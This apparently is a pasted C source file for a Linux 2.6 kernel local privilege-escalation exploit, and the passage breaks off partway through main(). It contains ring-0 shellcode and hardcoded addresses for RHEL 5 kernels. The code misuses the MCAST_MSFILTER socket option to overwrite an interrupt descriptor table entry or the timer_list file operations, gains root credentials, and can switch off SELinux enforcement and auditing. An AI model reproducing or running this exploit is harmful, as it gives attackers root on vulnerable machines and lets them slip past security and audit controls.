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toooddd
Jan 10th, 2014
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  1.  
  2. #include <poll.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #include <sys/types.h>
  6. #include <stdlib.h>
  7. #include <sys/wait.h>
  8. #include <sys/utsname.h>
  9. #include <sys/socket.h>
  10. #include <sched.h>
  11. #include <netinet/in.h>
  12. #include <stdio.h>
  13. #include <sys/stat.h>
  14. #include <fcntl.h>
  15. #include <sys/mman.h>
  16. #include <sys/ipc.h>
  17. #include <sys/msg.h>
  18. #include <errno.h>
  19.  
  20.  
  21. #ifndef __i386__
  22. #error "r34d th3 c0d3 m0r0n!!#@#"
  23. #else
  24. #define _GNU_SOURCE
  25. #define __dgdhdytrg55 unsigned int
  26. #define __yyrhdgdtfs66ytgetrfd unsigned long long
  27. #define __dhdyetgdfstreg__ memcpy
  28.  
  29. #define VERT "\033[32m"
  30. #define NORM "\033[0m"
  31. #define BANNER VERT"Ac1dB1tCh3z "NORM"VS Linux kernel 2.6 kernel 0d4y\n"
  32.  
  33. #define KALLSYMS "/proc/kallsyms"
  34. #define TMAGIC_66TDFDRTS "/proc/timer_list"
  35. #define SELINUX_PATH "/selinux/enforce"
  36. #define RW_FOPS "timer_list_fops"
  37. #define PER_C_DHHDYDGTREM7765 "per_cpu__current_task"
  38. #define PREPARE_GGDTSGFSRFSD "prepare_creds"
  39. #define OVERRIDE_GGDTSGFSRFSD "override_creds"
  40. #define REVERT_DHDGTRRTEFDTD "revert_creds"
  41. #define Y0Y0SMAP 0x100000UL
  42. #define Y0Y0CMAP 0x200000UL
  43. #define Y0Y0STOP (Y0Y0SMAP+0xFFC)
  44. #define J0J0S 0x00200000UL
  45. #define J0J0R00T 0x002000F0UL
  46. #define PAGE_SIZE 0x1000
  47.  
  48. #define KERN_DHHDYTMLADSFPYT 0x1
  49. #define KERN_DGGDYDTEGGETFDRLAK 0x2
  50. #define KERN_HHSYPPLORQTWGFD 0x4
  51.  
  52.  
  53. #define KERN_DIS_GGDYYTDFFACVFD_IDT 0x8
  54. #define KERN_DIS_DGDGHHYTTFSR34353_FOPS 0x10
  55. #define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM 0x20
  56.  
  57. #define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX 0x40
  58.  
  59. #define isRHHGDPPLADSF(ver) (strstr(ver, ".el4") || strstr(ver,".el5"))
  60.  
  61. #define TRY_REMAP_DEFAULT 1
  62.  
  63. #define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0)
  64. #define __pppp_tegddewyfg(s) do { fprintf(stdout, "%s", s); } while(0)
  65. #define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0)
  66. #define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0)
  67.  
  68. static char buffer[1024];
  69. static int s;
  70. static int flags=0;
  71. volatile static socklen_t magiclen=0;
  72. static int useidt=0, usefops=0, uselsm=0;
  73. static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0};
  74. static __dgdhdytrg55 _m_cpu_off=0;
  75. static char krelease[64];
  76. static char kversion[128];
  77.  
  78. #define R0C_0FF 14
  79. static char ttrg0ccc[]=
  80. "\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\xf6\xbe\x41\x41\x41\x41"
  81. "\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\x75\x15\x3b\x70\x0c"
  82. "\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\x08\x89\x58\x0c\xeb\x11"
  83. "\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\x00\x74\x02"
  84. "\xeb\xcc\x5e\x5b\x5f\x59\xc3";
  85.  
  86.  
  87. #define R0YTTTTUHLFSTT_OFF1 5
  88. #define R0YGGSFDARTDF_DHDYTEGRDFD_D 21
  89. #define R0TDGFSRSLLSJ_SHSYSTGD 45
  90. char r1ngrrrrrrr[]=
  91. "\x53\x52\x57\x48\xbb\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd3"
  92. "\x50\x48\x89\xc7\x48\xbb\x42\x42\x42\x42\x42\x42\x42\x42"
  93. "\xff\xd3\x48\x31\xd2\x89\x50\x04\x89\x50\x14\x48\x89\xc7"
  94. "\x48\xbb\x43\x43\x43\x43\x43\x43\x43\x43"
  95. "\xff\xd3\x5f\x5f\x5a\x5b\xc3";
  96.  
  97.  
  98. #define RJMPDDTGR_OFF 13
  99. #define RJMPDDTGR_DHDYTGSCAVSF 7
  100. #define RJMPDDTGR_GDTDGTSFRDFT 25
  101. static char ttrfd0[]=
  102. "\x57\x50\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
  103. "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
  104. "\x58\x5f"
  105. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  106. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  107. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  108. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  109. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  110. "\xc3";
  111.  
  112.  
  113. /* implement selinux bypass for IDT ! */
  114. #define RJMPDDTGR_OFF_IDT 14
  115. #define RJMPDDTGR_DYHHTSFDARE 8
  116. #define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27
  117. static char ruujhdbgatrfe345[]=
  118. "\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
  119. "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
  120. "\x0f\x01\xf8"
  121. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  122. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  123. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  124. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  125. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  126. "\x48\xcf";
  127.  
  128.  
  129.  
  130. #define CJE_4554TFFDTRMAJHD_OFF 10
  131. #define RJMPDDTGR_AYYYDGTREFCCV7761_OF 23
  132. static char dis4blens4sel1nuxhayettgdr64545[]=
  133. "\x41\x52\x50"
  134. "\xb8\x00\x00\x00\x00"
  135. "\x49\xba\x41\x41\x41\x41\x41\x41\x41\x41"
  136. "\x41\x89\x02"
  137. "\x49\xba\x42\x42\x42\x42\x42\x42\x42\x42"
  138. "\x41\x89\x02"
  139. "\x58\x41\x5a";
  140.  
  141.  
  142.  
  143.  
  144. /* rhel LSM stuffs */
  145. #define RHEL_LSM_OFF 98
  146.  
  147. struct LSM_rhel
  148. {
  149. __yyrhdgdtfs66ytgetrfd selinux_ops;
  150. __yyrhdgdtfs66ytgetrfd capability_ops;
  151. __yyrhdgdtfs66ytgetrfd dummy_security_ops;
  152.  
  153. __yyrhdgdtfs66ytgetrfd selinux_enforcing;
  154. __yyrhdgdtfs66ytgetrfd audit_enabled;
  155.  
  156. const char *krelease;
  157. const char *kversion;
  158.  
  159. };
  160.  
  161. struct LSM_rhel known_targets[4]=
  162. {
  163. {
  164. 0xffffffff8031e600ULL,
  165. 0xffffffff8031fec0ULL,
  166. 0xffffffff804acc00ULL,
  167.  
  168. 0xffffffff804af960ULL,
  169. 0xffffffff8049b124ULL,
  170.  
  171. "2.6.18-164.el5",
  172. "#1 SMP Thu Sep 3 03:28:30 EDT 2009" // to manage minor/bug fix changes
  173. },
  174. {
  175. 0xffffffff8031f600ULL,
  176. 0xffffffff80320ec0ULL,
  177. 0xffffffff804afc00ULL,
  178.  
  179. 0xffffffff804b2960ULL,
  180. 0xffffffff8049e124ULL,
  181.  
  182. "2.6.18-164.11.1.el5",
  183. "#1 SMP Wed Jan 6 13:26:04 EST 2010"
  184. },
  185. {
  186. 0xffffffff805296a0ULL,
  187. 0xffffffff8052af60ULL,
  188. 0xffffffff806db1e0ULL,
  189.  
  190. 0xffffffff806ddf40ULL,
  191. 0xffffffff806d5324ULL,
  192.  
  193. "2.6.18-164.11.1.el5xen",
  194. "#1 SMP Wed Jan 20 08:06:04 EST 2010" // default xen
  195. },
  196. {
  197. 0xffffffff8031f600ULL,// d selinux_ops
  198. 0xffffffff80320ec0ULL,// d capability_ops
  199. 0xffffffff804afc00ULL,// B dummy_security_ops
  200.  
  201. 0xffffffff804b2960ULL,// B selinux_enforcing
  202. 0xffffffff8049e124ULL,// B audit_enabled
  203.  
  204. "2.6.18-164.11.1.el5",
  205. "#1 SMP Wed Jan 20 07:32:21 EST 2010" // tripwire target LoL
  206. }
  207.  
  208. };
  209.  
  210. static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt;
  211.  
  212. struct socketcallAT
  213. {
  214. int s;
  215. int level;
  216. int optname;
  217. void *optval;
  218. volatile socklen_t *optlen;
  219. }__attribute__((packed));
  220.  
  221. struct idt64from32_s
  222. {
  223. unsigned short limit;
  224. unsigned long base;
  225. }__attribute__((packed));
  226.  
  227. static __yyrhdgdtfs66ytgetrfd getidt()
  228. {
  229. struct idt64from32_s idt;
  230. memset(&idt, 0x00, sizeof(struct idt64from32_s));
  231. asm volatile("sidt %0" : "=m"(idt));
  232. return idt.base | 0xFFFFFFFF00000000ULL;
  233. }
  234.  
  235.  
  236. static int isSelinuxEnabled()
  237. {
  238. FILE *selinux_f;
  239. selinux_f = fopen(SELINUX_PATH, "r");
  240. if(selinux_f == NULL)
  241. {
  242. if(errno == EPERM)
  243. return 1;
  244. else
  245. return 0;
  246. }
  247.  
  248. fclose(selinux_f);
  249. return 1;
  250. }
  251.  
  252. static int wtfyourunhere_heee(char *out_release, char* out_version)
  253. {
  254. int ret; const char*ptr;
  255. int count=0;
  256. char r[32], *bptr;
  257. struct utsname buf;
  258. ret = uname(&buf);
  259.  
  260. if(ret < 0)
  261. return -1;
  262.  
  263. strcpy(out_release, buf.release);
  264. strcpy(out_version, buf.version);
  265.  
  266. ptr = buf.release;
  267. bptr = r;
  268. memset(r, 0x00, sizeof(r));
  269. while(*ptr)
  270. {
  271. if(count == 2)
  272. {
  273. if(*ptr >= '0' && *ptr <= '9')
  274. *bptr++ = *ptr;
  275. else
  276. break;
  277. }
  278.  
  279. if(*ptr == '.')
  280. count++;
  281. ptr++;
  282. }
  283.  
  284. if(strlen(r) < 1 || !atoi(r))
  285. return -1;
  286.  
  287. return atoi(r);
  288. }
  289.  
  290.  
  291. static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table)
  292. {
  293. *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table->selinux_enforcing;
  294. *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table->audit_enabled;
  295. __dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
  296. __dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
  297. }
  298.  
  299.  
  300. static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* filename, int ignore_flag)
  301. {
  302. FILE *ka;
  303. char line[512];
  304. char reloc_a[64];
  305. char reloc[64];
  306.  
  307. if(!(flags & KERN_HHSYPPLORQTWGFD) && !ignore_flag)
  308. return 0;
  309.  
  310. ka = fopen(filename, "r");
  311. if(!ka)
  312. return 0;
  313.  
  314. while(fgets(line, 512, ka) != NULL)
  315. {
  316. char *l_p = line;
  317. char *ra_p = reloc_a;
  318. char *r_p = reloc;
  319. memset(reloc, 0x00, sizeof(reloc));
  320. memset(reloc_a, 0x00, sizeof(reloc_a));
  321. while(*l_p != ' ' && (ra_p - reloc_a) < 64)
  322. *ra_p++ = *l_p++;
  323. l_p += 3;
  324. while(*l_p != ' ' && *l_p != '\n' && *l_p != '\t' && (r_p - reloc) < 64)
  325. *r_p++ = *l_p++;
  326.  
  327. if(!strcmp(reloc, s))
  328. {
  329. __gggdfstsgdt_dddex("$$$ %s->%s\n", s, reloc_a);
  330. return strtoull(reloc_a, NULL, 16);
  331. }
  332. }
  333.  
  334. return 0;
  335. }
  336.  
  337.  
  338. static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s)
  339. {
  340. return get_sym_ex(s, KALLSYMS, 0);
  341. }
  342.  
  343. static int parse_cred(const char* val)
  344. {
  345. int i=0;
  346. const char* p = val;
  347. char local[64], *l;
  348. for(i=0; i<3; i++)
  349. {
  350. memset(local, 0x00, sizeof(local));
  351. l = local;
  352. while(*p && *p != ',')
  353. *l++ = *p++;
  354.  
  355. if(!(*p) && i != 2)
  356. return -1;
  357.  
  358. _m_cred[i] = strtoull(local, NULL, 16);
  359. p++;
  360. }
  361.  
  362. return 0;
  363. }
  364.  
  365.  
  366. #define SELINUX_OPS "selinux_ops"
  367. #define DUMMY_SECURITY_OPS "dummy_security_ops"
  368. #define CAPABILITY_OPS "capability_ops"
  369. #define SELINUX_ENFORCING "selinux_enforcing"
  370. #define AUDIT_ENABLED "audit_enabled"
  371.  
  372. struct LSM_rhel *lsm_rhel_find_target(int check_rhel)
  373. {
  374. int i;
  375. char mapbuf[128];
  376. struct LSM_rhel *lsm = &(known_targets[0]);
  377.  
  378. if(check_rhel && !isRHHGDPPLADSF(krelease))
  379. {
  380. __pppp_tegddewyfg("!!! N0t a RH3l k3rn3l \n");
  381. return NULL;
  382. }
  383.  
  384. __pppp_tegddewyfg("$$$ L00k1ng f0r kn0wn t4rg3tz.. \n");
  385. for(i=0; i<sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)
  386. {
  387. if(!strcmp(krelease, lsm->krelease) && !strcmp(kversion, lsm->kversion))
  388. {
  389. __gggdfstsgdt_dddex("$$$ Th1z b1tch 1z t0azt. kn0wn t4rg3t: %s %s \n", lsm->krelease, lsm->kversion);
  390. return lsm;
  391. }
  392. }
  393.  
  394. __pppp_tegddewyfg("$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...\n");
  395. strcpy(mapbuf, "/boot/System.map-");
  396. strcat(mapbuf, krelease);
  397.  
  398. dyn4nt4n1labeggeyrthryt.selinux_ops = get_sym_ex(SELINUX_OPS, mapbuf, 1);
  399. dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1);
  400. dyn4nt4n1labeggeyrthryt.capability_ops = get_sym_ex(CAPABILITY_OPS, mapbuf, 1);
  401. dyn4nt4n1labeggeyrthryt.selinux_enforcing = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1);
  402. dyn4nt4n1labeggeyrthryt.audit_enabled = get_sym_ex(AUDIT_ENABLED, mapbuf, 1);
  403.  
  404.  
  405. if(!dyn4nt4n1labeggeyrthryt.selinux_ops ||
  406. !dyn4nt4n1labeggeyrthryt.dummy_security_ops ||
  407. !dyn4nt4n1labeggeyrthryt.capability_ops ||
  408. !dyn4nt4n1labeggeyrthryt.selinux_enforcing ||
  409. !dyn4nt4n1labeggeyrthryt.audit_enabled)
  410. return NULL;
  411.  
  412.  
  413. return &dyn4nt4n1labeggeyrthryt;
  414. }
  415.  
  416. static void put_your_hands_up_hooker(int argc, char *argv[])
  417. {
  418. int fd,ver,ret;
  419. char __b[16];
  420.  
  421.  
  422. fd = open(KALLSYMS, O_RDONLY);
  423. ret = read(fd, __b, 16); // dummy read
  424. if((fd >= 0 && ret > 0))
  425. {
  426. __pppp_tegddewyfg("$$$ Kallsyms +r\t\n"); // d0nt p4tch m3 br0
  427. flags |= KERN_HHSYPPLORQTWGFD;
  428. }
  429. close(fd);
  430.  
  431. ver = wtfyourunhere_heee(krelease, kversion);
  432. if(ver < 0)
  433. __yyy_tegdtfsrer("!!! Un4bl3 t0 g3t r3l3as3 wh4t th3 fuq!\n");
  434.  
  435. __gggdfstsgdt_dddex("$$$ K3rn3l r3l3as3: %s\n", krelease);
  436.  
  437.  
  438. if(argc != 1)
  439. {
  440. while( (ret = getopt(argc, argv, "siflc:k:o:")) > 0)
  441. {
  442. switch(ret)
  443. {
  444. case 'i':
  445. flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
  446. useidt=1; // u have to use -i to force IDT Vector
  447. break;
  448.  
  449. case 'f':
  450. flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT;
  451. break;
  452.  
  453. case 'l':
  454. flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
  455. break;
  456.  
  457. case 'c':
  458. if(!optarg || parse_cred(optarg) < 0)
  459. __yyy_tegdtfsrer("!!! Un4bl3 t0 p4s3 cr3d c0d3z\n");
  460. break;
  461.  
  462. case 'k':
  463. if(optarg)
  464. _m_fops = strtoull(optarg, NULL, 16);
  465. else
  466. __yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0P numb3rs\n");
  467. break;
  468.  
  469. case 's':
  470. if(!isSelinuxEnabled())
  471. __pppp_tegddewyfg("??? wh4t th3 fuq s3l1nux 1z n0t 3v3n 3n4bl3d!?\n");
  472. else
  473. flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
  474. break;
  475.  
  476. case 'o':
  477. if(optarg)
  478. _m_cpu_off = strtoull(optarg, NULL, 16);
  479. else
  480. __yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0p c0mput3r numb3rs\n");
  481. break;
  482. }
  483. }
  484. }
  485.  
  486.  
  487. if(ver >= 29) // needs cred structure
  488. {
  489. flags |= KERN_DGGDYDTEGGETFDRLAK;
  490.  
  491. if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
  492. {
  493. _m_cred[0] = get_sym(PREPARE_GGDTSGFSRFSD);
  494. _m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD);
  495. _m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD);
  496. }
  497.  
  498. if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
  499. {
  500. __yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
  501. }
  502.  
  503. __pppp_tegddewyfg("$$$ Kernel Credentials detected\n");
  504. *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0];
  505. *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1];
  506. *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2];
  507. }
  508.  
  509. if(ver >= 30) // needs cpu offset
  510. {
  511. flags |= KERN_DHHDYTMLADSFPYT;
  512. if(!_m_cpu_off)
  513. _m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765);
  514.  
  515. if(!_m_cpu_off)
  516. __yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
  517.  
  518. __pppp_tegddewyfg("$$$ K3rn3l per_cpu r3l0cs 3n4bl3d!\t\n");
  519. *((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off;
  520. *((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off;
  521. }
  522. }
  523.  
  524.  
  525. static void env_prepare(int argc, char* argv[])
  526. {
  527.  
  528. put_your_hands_up_hooker(argc, argv);
  529.  
  530. if(!(flags & KERN_DIS_DGDGHHYTTFSR34353_FOPS)) // try fops
  531. {
  532. __pppp_tegddewyfg("??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d\n");
  533. if(!_m_fops)
  534. _m_fops = get_sym(RW_FOPS);
  535.  
  536. /* TODO: do RW check for newer -mm kernels which has timer_list_struct RO
  537. * Thanks to the guy who killed this vector... you know who you are:)
  538. * Lucky for you, there are more:)
  539. */
  540.  
  541. if(_m_fops)
  542. {
  543. usefops=1;
  544. __pppp_tegddewyfg("$$$ w34p0n 0f ch01c3: F0PZzZzzz\n");
  545. }
  546. }
  547.  
  548.  
  549. if(!usefops && !(flags & KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel)
  550. {
  551. curr_target = lsm_rhel_find_target(1);
  552. if(!curr_target)
  553. {
  554. __pppp_tegddewyfg("!!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!\n");
  555. }
  556. else
  557. uselsm=1;
  558. }
  559.  
  560.  
  561. if(useidt && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  562. {
  563. // -i flag
  564. curr_target = lsm_rhel_find_target(0);
  565. if(!curr_target)
  566. {
  567. __pppp_tegddewyfg("!!! Un4lb3 t0 f1nd t4rg3t: c0ntinu3 w1th0ut s3linsux d1s4bl3.\n");
  568. /* remove Selinux Flag */
  569. flags &= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
  570. }
  571. }
  572.  
  573.  
  574. if(!usefops && !useidt && !uselsm)
  575. __yyy_tegdtfsrer("!!! 3v3ryth3ng f41l3d!!*@&^@&*^@* try an0th3r 0d4y L0l\n");
  576. }
  577.  
  578.  
  579. static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack)
  580. {
  581. int socklen_l = 8 + stack - addr - 16;
  582. return socklen_l;
  583. }
  584.  
  585. static struct socketcallAT at;
  586. static __dgdhdytrg55 idtover[4] =
  587. {0x00100000UL,
  588. 0x0020ee00UL,
  589. 0x00000000UL,
  590. 0x00000000UL};
  591.  
  592.  
  593. static void fillsocketcallAT()
  594. {
  595. at.s = s;
  596. at.level = SOL_IP;
  597. at.optname = MCAST_MSFILTER;
  598. at.optval = buffer;
  599. at.optlen = &magiclen;
  600. }
  601.  
  602.  
  603. static void bitch_call(struct socketcallAT *at, void *stack)
  604. {
  605. asm volatile(
  606. "push %%ebx\t\n"
  607. "push %%esi\t\n"
  608. "push %%ecx\t\n"
  609. "push %%edx\t\n"
  610. "movl $0x66, %%eax\t\n"
  611. "movl $0xf, %%ebx\t\n"
  612. "movl %%esp, %%esi\t\n"
  613. "movl %0, %%ecx\t\n"
  614. "movl %1, %%esp\t\n"
  615. "int $0x80\t\n"
  616. "movl %%esi, %%esp\t\n"
  617. "pop %%edx\t\n"
  618. "pop %%ecx\t\n"
  619. "pop %%esi\t\n"
  620. "pop %%ebx\t\n"
  621. : : "r"(at), "r"(stack) : "memory", "eax", "ecx", "ebx", "esi"
  622. );
  623. }
  624.  
  625. static void __setmcbuffer(__dgdhdytrg55 value)
  626. {
  627. int i;
  628. __dgdhdytrg55 *p = (__dgdhdytrg55*)buffer;
  629. for(i=0; i<sizeof(buffer)/sizeof(void*); i++)
  630. *(p+i) = value;
  631. }
  632.  
  633. static void idt_smash(__yyrhdgdtfs66ytgetrfd idtbase)
  634. {
  635. int i;
  636. __dgdhdytrg55 curr;
  637. for(i=0; i<sizeof(idtover)/sizeof(idtover[0]);i++)
  638. {
  639. curr = idtover[i];
  640. __setmcbuffer(curr);
  641. magiclen = get_socklen(idtbase + (i*4), Y0Y0STOP);
  642. bitch_call(&at, (void*)Y0Y0STOP);
  643. }
  644. }
  645.  
  646.  
  647. static void y0y0stack()
  648. {
  649. void* map = mmap((void*)Y0Y0SMAP,
  650. PAGE_SIZE,
  651. PROT_READ|PROT_WRITE,
  652. MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
  653. -1,0);
  654. if(MAP_FAILED == map)
  655. __xxxfdgftr_hshsgdt("mmap");
  656. }
  657.  
  658. static void y0y0code()
  659. {
  660. void* map = mmap((void*)Y0Y0CMAP,
  661. PAGE_SIZE,
  662.  
  663. #ifdef TRY_REMAP_DEFAULT
  664. PROT_READ|PROT_WRITE,
  665. #else
  666. PROT_READ|PROT_WRITE|PROT_EXEC,
  667. #endif
  668. MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
  669. -1,0);
  670. if(MAP_FAILED == map)
  671. __xxxfdgftr_hshsgdt("mmap");
  672.  
  673. }
  674.  
  675.  
  676. static int rey0y0code(unsigned long old)
  677. {
  678. int fd;
  679. void *map;
  680. volatile char wizard;
  681. char cwd[1024];
  682.  
  683. getcwd(cwd, sizeof(cwd));
  684. strcat(cwd, "/__tmpfile");
  685.  
  686. unlink(cwd);
  687. fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);
  688. if(fd < 0)
  689. return -1;
  690.  
  691. write(fd, (const void*)old, PAGE_SIZE);
  692. if(munmap((void*)old, PAGE_SIZE) < 0)
  693. return -1;
  694.  
  695. map = mmap((void*)old,
  696. PAGE_SIZE,
  697. PROT_READ|PROT_EXEC,
  698. MAP_PRIVATE|MAP_FIXED,
  699. fd,0);
  700. if(map == MAP_FAILED)
  701. return -1;
  702.  
  703. /* avoid lazy page fault handler
  704. * Triple Fault when using idt vector
  705. * and no pages are already mapped:)
  706. */
  707.  
  708. wizard = *((char*)old);
  709. unlink(cwd);
  710. return wizard;
  711. }
  712.  
  713.  
  714. int main(int argc, char*argv[])
  715. {
  716. int uid,fd;
  717. __yyrhdgdtfs66ytgetrfd *patch, idtb;
  718. struct pollfd pfd;
  719.  
  720.  
  721. printf(BANNER);
  722.  
  723. uid = getuid();
  724.  
  725. env_prepare(argc, argv);
  726.  
  727. y0y0stack();
  728. y0y0code();
  729.  
  730. if(useidt)
  731. {
  732. idtb = getidt();
  733. __gggdfstsgdt_dddex("$$$ h0m3 b4s3 addr3ss: %llx\n", idtb);
  734. __pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - IDT m3th34d\n");
  735. patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT);
  736. *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  737.  
  738. __pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
  739.  
  740. if(flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)
  741. {
  742. __pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
  743. p4tch_sel1nux_codztegfaddczda(curr_target);
  744. }
  745.  
  746. __dhdyetgdfstreg__((void*)J0J0S, ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));
  747. }
  748. else if(usefops || uselsm)
  749. {
  750. __pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d\n");
  751. patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF);
  752. *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  753.  
  754. __setmcbuffer(J0J0S);
  755.  
  756. __pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
  757. if(uselsm && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  758. {
  759. __pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
  760. p4tch_sel1nux_codztegfaddczda(curr_target);
  761. }
  762. __dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0));
  763. }
  764.  
  765.  
  766.  
  767. /* set shellcode level 2 */
  768. if(flags & KERN_DGGDYDTEGGETFDRLAK)
  769. {
  770. __pppp_tegddewyfg("$$$ Us1ng cr3d s3ash3llc0d3z\n");
  771. __dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr));
  772. }
  773. else
  774. {
  775. __pppp_tegddewyfg("$$$ Us1ng st4nd4rd s3ash3llz\n");
  776. __dhdyetgdfstreg__((void*)J0J0R00T, ttrg0ccc, sizeof(ttrg0ccc));
  777. *((unsigned int*)(J0J0R00T + R0C_0FF)) = uid;
  778. }
  779.  
  780. __pppp_tegddewyfg("$$$ 0p3n1ng th3 m4giq p0rt4l\n");
  781. s = socket(AF_INET, SOCK_DGRAM, 0);
  782. if(s < 0)
  783. __xxxfdgftr_hshsgdt("socket");
  784.  
  785. fillsocketcallAT();
  786.  
  787.  
  788. #ifdef TRY_REMAP_DEFAULT
  789. if(rey0y0code(Y0Y0CMAP) < 0)
  790. __yyy_tegdtfsrer("!!! Un4bl3 t0 r3m4p sh1t\t\n");
  791. #endif
  792.  
  793. if(useidt)
  794. {
  795.  
  796. __yyrhdgdtfs66ytgetrfd idtentry = idtb + (2*sizeof(__yyrhdgdtfs66ytgetrfd)*0xdd);
  797. __gggdfstsgdt_dddex("$$$ Us1ng 1dt 3ntry: %d\n", 0xdd);
  798. idt_smash((idtentry));
  799.  
  800. sleep(1);
  801. asm volatile("int $0xdd\t\n");
  802. }
  803. else if(usefops)
  804. {
  805. magiclen = get_socklen(_m_fops, Y0Y0STOP);
  806. magiclen -= 7*sizeof(__yyrhdgdtfs66ytgetrfd);
  807. __gggdfstsgdt_dddex("$$$ m4q1c p0rt4l l3n f0und: 0x%x\n", magiclen);
  808.  
